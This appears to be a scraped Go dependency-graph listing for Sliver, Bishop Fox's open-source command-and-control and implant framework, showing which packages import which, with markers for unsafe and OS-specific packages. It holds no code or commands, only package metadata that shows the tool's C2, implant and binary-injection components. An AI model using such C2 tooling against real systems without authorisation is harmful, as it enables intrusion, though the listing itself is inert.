||||
golang.zx2c4.com/wireguard/replay from golang.zx2c4.com/wireguard/device
|
||||
golang.zx2c4.com/wireguard/rwcancel from golang.zx2c4.com/wireguard/device+
|
||||
golang.zx2c4.com/wireguard/tai64n from golang.zx2c4.com/wireguard/device
|
||||
💣 golang.zx2c4.com/wireguard/tun from github.com/bishopfox/sliver/server/netstack+
|
||||
W 💣 golang.zx2c4.com/wireguard/tun/wintun from golang.zx2c4.com/wireguard/tun
|
||||
golang.zx2c4.com/wireguard/wgctrl/wgtypes from github.com/bishopfox/sliver/server/certs
|
||||
google.golang.org/genproto/googleapis/rpc/status from google.golang.org/grpc/internal/status+
|
||||
google.golang.org/grpc from github.com/bishopfox/sliver/client/transport+
|
||||
google.golang.org/grpc/attributes from google.golang.org/grpc/balancer/base+
|
||||
google.golang.org/grpc/backoff from google.golang.org/grpc+
|
||||
google.golang.org/grpc/balancer from google.golang.org/grpc+
|
||||
google.golang.org/grpc/balancer/base from google.golang.org/grpc+
|
||||
google.golang.org/grpc/balancer/grpclb/state from google.golang.org/grpc/internal/resolver/dns
|
||||
google.golang.org/grpc/balancer/roundrobin from google.golang.org/grpc
|
||||
google.golang.org/grpc/binarylog/grpc_binarylog_v1 from google.golang.org/grpc/internal/binarylog
|
||||
google.golang.org/grpc/codes from github.com/bishopfox/sliver/protobuf/rpcpb+
|
||||
google.golang.org/grpc/connectivity from google.golang.org/grpc+
|
||||
google.golang.org/grpc/credentials from github.com/bishopfox/sliver/client/transport+
|
||||
google.golang.org/grpc/encoding from google.golang.org/grpc+
|
||||
google.golang.org/grpc/encoding/proto from google.golang.org/grpc
|
||||
google.golang.org/grpc/grpclog from github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus+
|
||||
google.golang.org/grpc/internal from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/backoff from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/balancerload from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/binarylog from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/buffer from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/channelz from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/credentials from google.golang.org/grpc/credentials
|
||||
google.golang.org/grpc/internal/envconfig from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/grpclog from google.golang.org/grpc/grpclog
|
||||
google.golang.org/grpc/internal/grpcrand from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/grpcsync from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/grpcutil from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/metadata from google.golang.org/grpc/internal/transport
|
||||
google.golang.org/grpc/internal/resolver from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/resolver/dns from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/resolver/passthrough from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/resolver/unix from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/serviceconfig from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/status from google.golang.org/grpc/status
|
||||
google.golang.org/grpc/internal/syscall from google.golang.org/grpc/internal/transport
|
||||
google.golang.org/grpc/internal/transport from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/transport/networktype from google.golang.org/grpc/internal/resolver/unix+
|
||||
google.golang.org/grpc/keepalive from google.golang.org/grpc+
|
||||
google.golang.org/grpc/metadata from google.golang.org/grpc+
|
||||
google.golang.org/grpc/peer from github.com/bishopfox/sliver/server/rpc+
|
||||
google.golang.org/grpc/resolver from google.golang.org/grpc+
|
||||
google.golang.org/grpc/serviceconfig from google.golang.org/grpc+
|
||||
google.golang.org/grpc/stats from google.golang.org/grpc+
|
||||
google.golang.org/grpc/status from github.com/bishopfox/sliver/protobuf/rpcpb+
|
||||
google.golang.org/grpc/tap from google.golang.org/grpc+
|
||||
google.golang.org/grpc/test/bufconn from github.com/bishopfox/sliver/server/transport
|
||||
google.golang.org/protobuf/encoding/protojson from github.com/golang/protobuf/jsonpb
|
||||
google.golang.org/protobuf/encoding/prototext from github.com/golang/protobuf/proto+
|
||||
google.golang.org/protobuf/encoding/protowire from github.com/golang/protobuf/proto+
|
||||
google.golang.org/protobuf/internal/descfmt from google.golang.org/protobuf/internal/filedesc
|
||||
google.golang.org/protobuf/internal/descopts from google.golang.org/protobuf/internal/filedesc+
|
||||
google.golang.org/protobuf/internal/detrand from google.golang.org/protobuf/internal/descfmt+
|
||||
google.golang.org/protobuf/internal/encoding/defval from google.golang.org/protobuf/internal/encoding/tag+
|
||||
google.golang.org/protobuf/internal/encoding/json from google.golang.org/protobuf/encoding/protojson
|
||||
google.golang.org/protobuf/internal/encoding/messageset from google.golang.org/protobuf/encoding/protojson+
|
||||
google.golang.org/protobuf/internal/encoding/tag from google.golang.org/protobuf/internal/impl
|
||||
google.golang.org/protobuf/internal/encoding/text from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/errors from google.golang.org/protobuf/encoding/protojson+
|
||||
google.golang.org/protobuf/internal/filedesc from google.golang.org/protobuf/encoding/protojson+
|
||||
google.golang.org/protobuf/internal/filetype from google.golang.org/protobuf/runtime/protoimpl
|
||||
google.golang.org/protobuf/internal/flags from google.golang.org/protobuf/encoding/protojson+
|
||||
google.golang.org/protobuf/internal/genid from google.golang.org/protobuf/encoding/protojson+
|
||||
💣 google.golang.org/protobuf/internal/impl from google.golang.org/protobuf/internal/filetype+
|
||||
google.golang.org/protobuf/internal/order from google.golang.org/protobuf/encoding/protojson+
|
||||
google.golang.org/protobuf/internal/pragma from google.golang.org/protobuf/encoding/protojson+
|
||||
google.golang.org/protobuf/internal/set from google.golang.org/protobuf/encoding/protojson+
|
||||
💣 google.golang.org/protobuf/internal/strs from google.golang.org/protobuf/encoding/protojson+
|
||||
google.golang.org/protobuf/internal/version from google.golang.org/protobuf/runtime/protoimpl
|
||||
google.golang.org/protobuf/proto from github.com/bishopfox/sliver/protobuf/sliverpb+
|
||||
google.golang.org/protobuf/reflect/protodesc from github.com/golang/protobuf/proto
|
||||
💣 google.golang.org/protobuf/reflect/protoreflect from github.com/bishopfox/sliver/protobuf/clientpb+
|
||||
google.golang.org/protobuf/reflect/protoregistry from github.com/golang/protobuf/jsonpb+
|
||||
google.golang.org/protobuf/runtime/protoiface from github.com/golang/protobuf/proto+
|
||||
google.golang.org/protobuf/runtime/protoimpl from github.com/bishopfox/sliver/protobuf/clientpb+
|
||||
google.golang.org/protobuf/types/descriptorpb from google.golang.org/protobuf/reflect/protodesc
|
||||
google.golang.org/protobuf/types/known/anypb from github.com/golang/protobuf/ptypes/any+
|
||||
google.golang.org/protobuf/types/known/durationpb from github.com/golang/protobuf/ptypes/duration+
|
||||
google.golang.org/protobuf/types/known/timestamppb from github.com/golang/protobuf/ptypes/timestamp+
|
||||
gopkg.in/AlecAivazis/survey.v1 from github.com/bishopfox/sliver/client/console
|
||||
gopkg.in/AlecAivazis/survey.v1/core from gopkg.in/AlecAivazis/survey.v1
|
||||
💣 gopkg.in/AlecAivazis/survey.v1/terminal from gopkg.in/AlecAivazis/survey.v1+
|
||||
gorm.io/driver/mysql from github.com/bishopfox/sliver/server/db
|
||||
gorm.io/driver/postgres from github.com/bishopfox/sliver/server/db
|
||||
gorm.io/driver/sqlite from github.com/bishopfox/sliver/server/db
|
||||
gorm.io/gorm from github.com/bishopfox/sliver/server/certs+
|
||||
gorm.io/gorm/callbacks from gorm.io/driver/mysql+
|
||||
gorm.io/gorm/clause from gorm.io/driver/mysql+
|
||||
gorm.io/gorm/logger from github.com/bishopfox/sliver/server/db+
|
||||
gorm.io/gorm/migrator from gorm.io/driver/mysql+
|
||||
gorm.io/gorm/schema from gorm.io/driver/mysql+
|
||||
gorm.io/gorm/utils from gorm.io/gorm+
|
||||
💣 inet.af/netstack/gohacks from inet.af/netstack/state/wire+
|
||||
inet.af/netstack/linewriter from inet.af/netstack/log
|
||||
inet.af/netstack/log from inet.af/netstack/state+
|
||||
inet.af/netstack/rand from inet.af/netstack/tcpip/network/hash+
|
||||
💣 inet.af/netstack/sleep from inet.af/netstack/tcpip/transport/tcp
|
||||
💣 inet.af/netstack/state from inet.af/netstack/tcpip+
|
||||
inet.af/netstack/state/wire from inet.af/netstack/state
|
||||
💣 inet.af/netstack/sync from inet.af/netstack/linewriter+
|
||||
💣 inet.af/netstack/tcpip from github.com/bishopfox/sliver/server/netstack+
|
||||
inet.af/netstack/tcpip/adapters/gonet from github.com/bishopfox/sliver/server/netstack
|
||||
💣 inet.af/netstack/tcpip/buffer from github.com/bishopfox/sliver/server/netstack+
|
||||
inet.af/netstack/tcpip/hash/jenkins from inet.af/netstack/tcpip/stack+
|
||||
inet.af/netstack/tcpip/header from github.com/bishopfox/sliver/server/netstack+
|
||||
inet.af/netstack/tcpip/header/parse from inet.af/netstack/tcpip/network/ipv4+
|
||||
inet.af/netstack/tcpip/network/hash from inet.af/netstack/tcpip/network/ipv4+
|
||||
inet.af/netstack/tcpip/network/internal/fragmentation from inet.af/netstack/tcpip/network/ipv4+
|
||||
inet.af/netstack/tcpip/network/internal/ip from inet.af/netstack/tcpip/network/ipv4+
|
||||
inet.af/netstack/tcpip/network/ipv4 from github.com/bishopfox/sliver/server/netstack
|
||||
inet.af/netstack/tcpip/network/ipv6 from github.com/bishopfox/sliver/server/netstack
|
||||
inet.af/netstack/tcpip/ports from inet.af/netstack/tcpip/stack+
|
||||
inet.af/netstack/tcpip/seqnum from inet.af/netstack/tcpip/header+
|
||||
💣 inet.af/netstack/tcpip/stack from github.com/bishopfox/sliver/server/netstack+
|
||||
inet.af/netstack/tcpip/transport/packet from inet.af/netstack/tcpip/transport/raw
|
||||
inet.af/netstack/tcpip/transport/raw from inet.af/netstack/tcpip/transport/tcp+
|
||||
💣 inet.af/netstack/tcpip/transport/tcp from github.com/bishopfox/sliver/server/netstack+
|
||||
inet.af/netstack/tcpip/transport/tcpconntrack from inet.af/netstack/tcpip/stack
|
||||
inet.af/netstack/tcpip/transport/udp from github.com/bishopfox/sliver/server/netstack+
|
||||
inet.af/netstack/waiter from inet.af/netstack/tcpip+
|
||||
golang.org/x/crypto/acme from golang.org/x/crypto/acme/autocert
|
||||
golang.org/x/crypto/acme/autocert from github.com/bishopfox/sliver/server/certs
|
||||
golang.org/x/crypto/blake2s from golang.zx2c4.com/wireguard/device
|
||||
golang.org/x/crypto/cast5 from golang.org/x/crypto/openpgp/packet
|
||||
golang.org/x/crypto/chacha20 from golang.org/x/crypto/chacha20poly1305
|
||||
golang.org/x/crypto/chacha20poly1305 from crypto/tls+
|
||||
golang.org/x/crypto/cryptobyte from crypto/ecdsa+
|
||||
golang.org/x/crypto/cryptobyte/asn1 from crypto/ecdsa+
|
||||
golang.org/x/crypto/curve25519 from crypto/tls+
|
||||
golang.org/x/crypto/ed25519 from github.com/miekg/dns
|
||||
golang.org/x/crypto/hkdf from crypto/tls
|
||||
golang.org/x/crypto/openpgp/armor from github.com/bishopfox/sliver/server/assets
|
||||
golang.org/x/crypto/openpgp/elgamal from golang.org/x/crypto/openpgp/packet
|
||||
golang.org/x/crypto/openpgp/errors from golang.org/x/crypto/openpgp/armor+
|
||||
golang.org/x/crypto/openpgp/packet from github.com/bishopfox/sliver/server/assets
|
||||
golang.org/x/crypto/openpgp/s2k from golang.org/x/crypto/openpgp/packet
|
||||
golang.org/x/crypto/pbkdf2 from github.com/jackc/pgconn
|
||||
golang.org/x/crypto/poly1305 from golang.org/x/crypto/chacha20poly1305+
|
||||
golang.org/x/crypto/ssh/terminal from github.com/AlecAivazis/survey/v2+
|
||||
golang.org/x/net/bpf from golang.org/x/net/ipv4+
|
||||
golang.org/x/net/dns/dnsmessage from github.com/bishopfox/sliver/server/netstack+
|
||||
golang.org/x/net/http/httpguts from golang.org/x/net/http2+
|
||||
golang.org/x/net/http/httpproxy from net/http
|
||||
golang.org/x/net/http2 from google.golang.org/grpc/internal/transport
|
||||
golang.org/x/net/http2/hpack from golang.org/x/net/http2+
|
||||
golang.org/x/net/idna from golang.org/x/crypto/acme/autocert+
|
||||
golang.org/x/net/ipv4 from github.com/miekg/dns+
|
||||
golang.org/x/net/ipv6 from github.com/miekg/dns+
|
||||
D golang.org/x/net/route from net
|
||||
golang.org/x/net/trace from google.golang.org/grpc
|
||||
golang.org/x/sys/cpu from golang.org/x/crypto/blake2s+
|
||||
LD golang.org/x/sys/unix from github.com/mattn/go-isatty+
|
||||
W golang.org/x/sys/windows from github.com/sirupsen/logrus+
|
||||
golang.org/x/term from golang.org/x/crypto/ssh/terminal
|
||||
golang.org/x/text/cases from golang.org/x/text/secure/precis
|
||||
golang.org/x/text/internal from golang.org/x/text/cases
|
||||
golang.org/x/text/language from golang.org/x/text/cases+
|
||||
golang.org/x/text/runes from golang.org/x/text/secure/precis
|
||||
golang.org/x/text/secure/bidirule from golang.org/x/net/idna+
|
||||
golang.org/x/text/secure/precis from github.com/jackc/pgconn
|
||||
golang.org/x/text/transform from golang.org/x/text/cases+
|
||||
golang.org/x/text/unicode/bidi from golang.org/x/net/idna+
|
||||
golang.org/x/text/unicode/norm from golang.org/x/net/idna+
|
||||
golang.org/x/text/width from github.com/AlecAivazis/survey/v2/terminal+
|
||||
golang.org/x/time/rate from inet.af/netstack/tcpip/stack
|
||||
golang.org/x/xerrors from github.com/jackc/pgconn+
|
||||
golang.org/x/xerrors/internal from golang.org/x/xerrors
|
||||
archive/zip from github.com/bishopfox/sliver/server/assets
|
||||
bufio from archive/zip+
|
||||
bytes from bufio+
|
||||
compress/bzip2 from github.com/VirusTotal/vt-go+
|
||||
compress/flate from archive/zip+
|
||||
compress/gzip from github.com/VirusTotal/vt-go+
|
||||
compress/zlib from github.com/Binject/debug/elf+
|
||||
container/heap from inet.af/netstack/tcpip/transport/tcp
|
||||
container/list from crypto/tls+
|
||||
container/ring from github.com/lesnuages/snitch/pkg/snitch
|
||||
context from crypto/tls+
|
||||
crypto from crypto/ecdsa+
|
||||
crypto/aes from crypto/ecdsa+
|
||||
crypto/cipher from crypto/aes+
|
||||
crypto/des from crypto/tls+
|
||||
crypto/dsa from crypto/x509+
|
||||
crypto/ecdsa from crypto/tls+
|
||||
crypto/ed25519 from crypto/tls+
|
||||
crypto/elliptic from crypto/ecdsa+
|
||||
crypto/hmac from crypto/tls+
|
||||
crypto/md5 from crypto/tls+
|
||||
crypto/rand from crypto/ed25519+
|
||||
crypto/rc4 from crypto/tls
|
||||
crypto/rsa from crypto/tls+
|
||||
crypto/sha1 from crypto/tls+
|
||||
crypto/sha256 from crypto/tls+
|
||||
crypto/sha512 from crypto/ecdsa+
|
||||
crypto/subtle from crypto/aes+
|
||||
crypto/tls from github.com/bishopfox/sliver/client/command/update+
|
||||
crypto/x509 from crypto/tls+
|
||||
crypto/x509/pkix from crypto/x509+
|
||||
database/sql from github.com/go-sql-driver/mysql+
|
||||
database/sql/driver from database/sql+
|
||||
debug/dwarf from github.com/Binject/debug/elf+
|
||||
embed from github.com/bishopfox/sliver/implant+
|
||||
encoding from encoding/json+
|
||||
encoding/asn1 from crypto/x509+
|
||||
encoding/base32 from github.com/bishopfox/sliver/server/c2+
|
||||
encoding/base64 from encoding/json+
|
||||
encoding/binary from archive/zip+
|
||||
encoding/csv from github.com/spf13/pflag
|
||||
encoding/hex from crypto/x509+
|
||||
encoding/json from github.com/VirusTotal/vt-go+
|
||||
encoding/pem from crypto/tls+
|
||||
errors from archive/zip+
|
||||
flag from github.com/spf13/pflag
|
||||
fmt from compress/flate+
|
||||
go/ast from gorm.io/gorm/clause+
|
||||
go/scanner from go/ast
|
||||
go/token from go/ast+
|
||||
hash from archive/zip+
|
||||
hash/adler32 from compress/zlib
|
||||
hash/crc32 from archive/zip+
|
||||
hash/fnv from google.golang.org/protobuf/internal/detrand+
|
||||
html from github.com/alecthomas/chroma/formatters/html+
|
||||
html/template from golang.org/x/net/trace
|
||||
image from github.com/bishopfox/sliver/util/encoders+
|
||||
image/color from github.com/bishopfox/sliver/util/encoders+
|
||||
image/jpeg from golang.org/x/crypto/openpgp/packet
|
||||
image/png from github.com/bishopfox/sliver/util/encoders
|
||||
io from archive/zip+
|
||||
io/fs from archive/zip+
|
||||
io/ioutil from github.com/AlecAivazis/survey/v2+
|
||||
log from github.com/Binject/binjection/bj+
|
||||
math from compress/flate+
|
||||
math/big from crypto/dsa+
|
||||
math/bits from compress/flate+
|
||||
math/rand from github.com/bishopfox/sliver/client/command/exec+
|
||||
mime from github.com/bishopfox/sliver/server/rpc+
|
||||
mime/multipart from github.com/VirusTotal/vt-go+
|
||||
mime/quotedprintable from mime/multipart
|
||||
net from crypto/tls+
|
||||
net/http from github.com/VirusTotal/vt-go+
|
||||
net/http/httptrace from golang.org/x/net/http2+
|
||||
net/http/httputil from github.com/demisto/goxforce+
|
||||
net/http/internal from net/http+
|
||||
net/textproto from golang.org/x/net/http/httpguts+
|
||||
net/url from crypto/x509+
|
||||
os from archive/zip+
|
||||
os/exec from github.com/AlecAivazis/survey/v2+
|
||||
os/signal from github.com/bishopfox/sliver/server/daemon+
|
||||
os/user from github.com/bishopfox/sliver/client/assets+
|
||||
path from archive/zip+
|
||||
path/filepath from crypto/x509+
|
||||
reflect from crypto/x509+
|
||||
regexp from github.com/AlecAivazis/survey/v2+
|
||||
regexp/syntax from regexp
|
||||
runtime/debug from github.com/bishopfox/sliver/server/cli+
|
||||
sort from archive/zip+
|
||||
strconv from compress/flate+
|
||||
strings from archive/zip+
|
||||
sync from archive/zip+
|
||||
sync/atomic from context+
|
||||
syscall from crypto/rand+
|
||||
text/tabwriter from github.com/bishopfox/sliver/client/command/filesystem+
|
||||
text/template from github.com/AlecAivazis/survey/v2/core+
|
||||
text/template/parse from html/template+
|
||||
time from archive/zip+
|
||||
unicode from bytes+
|
||||
unicode/utf16 from encoding/asn1+
|
||||
unicode/utf8 from archive/zip+
|
||||
Reference in new issue
Block a user